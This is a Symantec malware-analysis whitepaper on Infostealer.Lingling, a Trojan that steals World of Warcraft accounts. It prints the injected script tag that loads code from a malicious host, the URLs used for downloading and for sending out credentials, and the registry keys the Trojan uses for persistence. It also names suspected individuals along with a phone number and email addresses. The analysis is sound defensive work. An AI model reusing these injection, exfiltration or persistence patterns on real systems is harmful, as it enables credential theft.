Stealing Virtual Assets from a Virtual World

Robert X Wang
Symantec Security Response, Dublin
Stealing Virtual Assets
from a Virtual World

Contents
Introduction ................................................................................................................. 4
Background ............................................................................................................... 4
Delivery Vector ...................................................................................................... 5
The executable ......................................................................................................... 7
Who is behind Lingling ........................................................................................... 9
Conclusion .............................................................................................................. 14
Introduction
Besides traditional threats, many of the new threats seen today are being created by goal-driven and “professional” individuals. It is quite apparent that profit is the main motivation behind this trend. More and more attackers and virus creators are no longer only creating Malcode for a hobby but are directing their energies towards the making of a profit.

Along with the fast growth of online shopping and entertainment markets, virtual assets are getting popular and becoming more important in our lives. Compared to real assets, virtual assets are much more insecure as they may easily be stolen. They are not heavy. There are no problems with transportation and handling of stolen assets. They are not kept in a safety deposit box. In fact, most virtual assets are not very well protected. And the most important thing is that virtual assets are getting more and more valuable. Cyber crime is highly technical, difficult to detect, and easy to propagate. Little legal precedance has been set in regards to the theft of virtual assets. All of these reasons make cyber crime low risk and highly profitable, and cause widespread damage and disruption to our lives.

Background
According to “China Online Game Industry Report, 2006” published by China Game Committee, the number of online game players in China has reached 31.12 million. There are 70 million Internet users in China, which means that nearly 50% of Chinese people who use the Internet play online games.

A report by Blizzard, states that at the end of December 2006, there were eight million World of Warcraft players in the world. The report also stated that 3.5 million of the players are based in China, which means that more than 10% of Chinese gamers play World of Warcraft.

Although it is prohibited to exchange virtual gold and items of some online games, there is still a large number of players that use various online exchange
Web sites to trade virtual gold and other items. While meeting the genuine requirements of some real game players, such Web sites are also used by malicious attackers as an important marketplace for selling items that they have stolen.

Unfortunately, many players are lacking in network security knowledge. Surfing Web pages with malicious scripts, using third party game assistant tools, using un-patched Windows or programs, using public computers in Internet cafes, are all factors that can make users vulnerable to a variety of attacks.

**Delivery Vector**

Instead of using common propagation approaches such as social engineering, Infostealer.Lingling uses a more sinister way to propagate itself.

The attacker randomly searches for a web server with SQL vulnerabilities, if found, it then inserts the following malicious script into the database.

```html
<script src="http://www.001yl.com/8.js"></script>
```
Stealing Virtual Assets from a Virtual World
When http://www.001yl.com/8.js is loaded and executed, http://www.zj5173.com/qq.htm will be loaded into a hidden iframe.

http://www.zj5173.com/qq.htm will then display a statistics icon and create another four hidden malicious iframes:

- happy1.htm - Encrypted MS06-014, Vulnerability in Microsoft Data Access Components (MDAC) function could allow code execution
- happy2.htm - Encrypted MS06-014
- happy3.htm - MS06-014
- 1.htm - MS07-004, Vulnerability in Vector Markup Language could allow remote code execution

When a hacked page, such as the above example, is loaded with a vulnerable un-patched version of Internet Explorer, Infostealer.Lingling will be downloaded from the following URL:

http://www.zj5173.com/2.exe

Next, Infostealer.Lingling will be saved on to the compromised computer as the following filenames and then executed:

- %System%\~.exe
- %Temp%\svchost.exe
- %Temp%\g0ld.com
- C:\WINDOWS\chenzi.exe

The executable

Infostealer.LingLing is a Trojan horse that steals account information from the online game “World of Warcraft” (WoW). When Infostealer.Lingling is executed, it will create and load the following .DLL module:

%System%\bdscheca001.dll
When bdsscheca001.dll is loaded, it will perform the following actions:

1. Ends QQLiveUpdate.exe.
   
   Note: QQLiveUpdate.exe is the auto-update program of the most popular Chinese online Instant Messenger tool “QQ”, which is developed by TENCENT Inc. Infostealer.Lingling attempts to end this program to prevent QQ being updated, and it may then exploit QQ’s LaunchP2PShare vulnerability for further attacks.

2. Deletes %Windir%\system32\drivers\etc\Hosts.

3. Sets a dummy global hook WM_GETMESSAGE to ensure that all other running processes will load its DLL module.

4. Tests the loader. If it is Explorer.exe, it creates a thread to enumerate all windows and searches for a Chinese version of WoW window.

5. If it succeeds, the Trojan will then set another WH_GETMESSAGE hook against the WoW process.

6. When Infostealer.Lingling is loaded in the WoW process, it will test the process name. It then ensures that the process name is WOW.EXE. If successful, it will collect the following information:
   
   • Server name
   • User ID
   • Password
   • Operating System information
   • Local IP address

7. Sends the above information to the following URL:

   http://www.137wg.com/hao/wow.asp?sid=DebugWow&id=%s&pw=%s&pw2=%s&s1=%s&s2=%s&appe=

Fortunately, Infostealer.Lingling is still at the debugging stage of development. The first version addresses US/EU/KR/TW servers only, as virtual gold and items are more valuable on these servers. Furthermore, Lingling is not a persistent threat, as it does not utilize an auto-run feature, which means it will not be activated after reboot unless a hacked Web page is re-opened.

However, since 1st March 2007, the executable of Infostealer.Lingling has been updated. Later versions also add the following registry subkey:
Stealing Virtual Assets from a Virtual World

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks \{9C0CFA58-3A6F-51ba-9EFE-5320F4F621BA}

The following registry entry is also added, so that the Trojan is executed whenever Windows starts:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C0CFA58-3A6F-51ba-9EFE-5320F4F621BA}\InProcServer32"(Default)" = "%System%\bdscheca001.dll"

The Trojan exploits the “ShellExecuteHooks” function so that all running processes will load its.DLL module after system reboot.

Furthermore, the original goal of Infostealer.LingLing was to steal account information from only the Chinese version of WoW. However, due to a design bug in its code, Infostealer.Lingling also steals account information from all other language versions of WoW.

Once the attacker gets the server name, userID and password for the infected user’s WoW account, he will log in and can steal the gold and other items from the victim’s account. The stolen items can then be resold to other players for real world currency.

Who is behind Lingling

001yl.com is a pornographic Web site, and zj5173.com appears to be a Web site that is operating a pirate version of Legend of Mir. These two domains are registered to Wu Hai Bing, who may live in one of the following cities:

- Wenzhou, Zhejiang
- Lishui, Zhejiang
- Quzhou, Zhejiang
- Siping, Jilin

zj5173.com is registered with a fake name of Zhang san, but the email address 13395708566@zj165.com is the same as 001yl.com. 13395708566 is the mobile number of Wu Hai Bing and this mobile number belongs to China Unicom CDMA, QuZhou, Zhejiang.
Furthermore, Wu Hai Bin also owns 137wg.com, Zj5173.com, and 137wg.com, which all point to the same IP address of 61.153.58.189.
For these reasons, Infostealer.Lingling is unlikely to be installed by a third party.

From one of the malicious pages on zj5173.com, which exploits MS07-004, we can find a link to www.hackwm.com. Lingling may use a tool from www.hackwm.com to generate its VML exploit code.

Hackwm.com is a hacker Web site. This site provides hack tools to generate exploit code.

There are two versions of the MS07-004 hack tool on hackwm.com. The link for the free version points to an empty .rar file. The VIP "commercial" version, has been described as being more reliable, and capable of bypassing firewall and antivirus applications. In order to obtain this version a user must contact QQ: 2642642.

Hackwm.com is registered by Yu Ping An, who is believed to live in Shanghai.

Based on research, the sites with injected malicious JavaScript do not belong to the author of Lingling, but have been compromised by the attacker. The attacker may use some sort of scan or exploit tool to search for vulnerable Web pages and SQL databases for attacking.

By 21st Feb 2007, there are at least two Chinese sites that have been attacked by Lingling and its related site yl18.net. Although there is no direct link from zj5173.com or 001yl.com to yl18.net, it is still likely that yl18.net is a related site of 001yl.com.

yl18.net is a fake online game cheat site for MoYu and falsely presents itself as Tencent by adding the following line to the end of its home page:
yl18.net shows several links to download various cheat programs for MoYu. All of these links point to the following address:

http://www.yl18.net/TDDOWNLOAD/sz1630_200805.exe

At present, no file exists at this address. However, the home page of yl18.net uses the same techniques to attack a compromised computer, as can be seen from the following images:
Stealing Virtual Assets from a Virtual World

The site yl18.net utilizes the following exploits:

- QQ LaunchP2PShare Exploit: Tencent QQ Com Object Parameters Stack Overflow
- MS06-014: Vulnerability in the Microsoft Data Access Components (MDAC)

When yl18.net is loaded with a vulnerable un-patched version of Internet Explorer, Infostealer.Jianghu will be downloaded from the following URL and then executed:

http://www.yl18.net/test.exe

Infostealer.Jianghu is a Trojan horse that steals account information from the online game “Re Xue Jiang Hu”. Yl18.net uses the same scan tool to attack vulnerable Web sites.

Furthermore, yl18.net is registered with the fake name Wang xiao er.
According to the user profile from inlishui.com, the owner of mailbox 8140588@163.com is Wu Hai Jun. On the other hand, Wu Hai Bing or Wu Hai Bin registered zj5173.com, 137wg.com, and 001yl.com. It is believed that there are links between them.

**Conclusion**

Infostealer.Lingling represents a typical elaborate attack against online gaming. Fortunately, zj5173.com, 001yl.com, 137wg.com, and yl18.net have been identified in the early stages of development and the executables are still in the debugging or testing stages. There is no doubt that profit-driven attacks are becoming more common and serious in nature. Such attacks are putting millions of Internet users at risk of losing their virtual assets.
About Symantec
Symantec is the global leader in information security, providing a broad range of software, appliances, and services designed to help individuals, small and mid-sized businesses, and large enterprises secure and manage their IT infrastructure. Symantec’s Norton™ brand of products is the worldwide leader in consumer security and problem-solving solutions. Headquartered in Cupertino, California, Symantec has operations in 35 countries. More information is available at www.symantec.com.

Symantec has worldwide operations in 35 countries. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 800 745 6054.

Symantec Corporation
World Headquarters
20330 Stevens Creek Boulevard
Cupertino, CA 95014 USA
408 517 8000
800 721 3934
www.symantec.com

Symantec and the Symantec logo are U.S. registered trademarks of Symantec Corporation. Microsoft and Windows are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries. Other brand and product names are trademarks of their respective holder(s). Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY. The technical information is being delivered to you as-is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Copyright © 2007 Symantec Corporation. All rights reserved.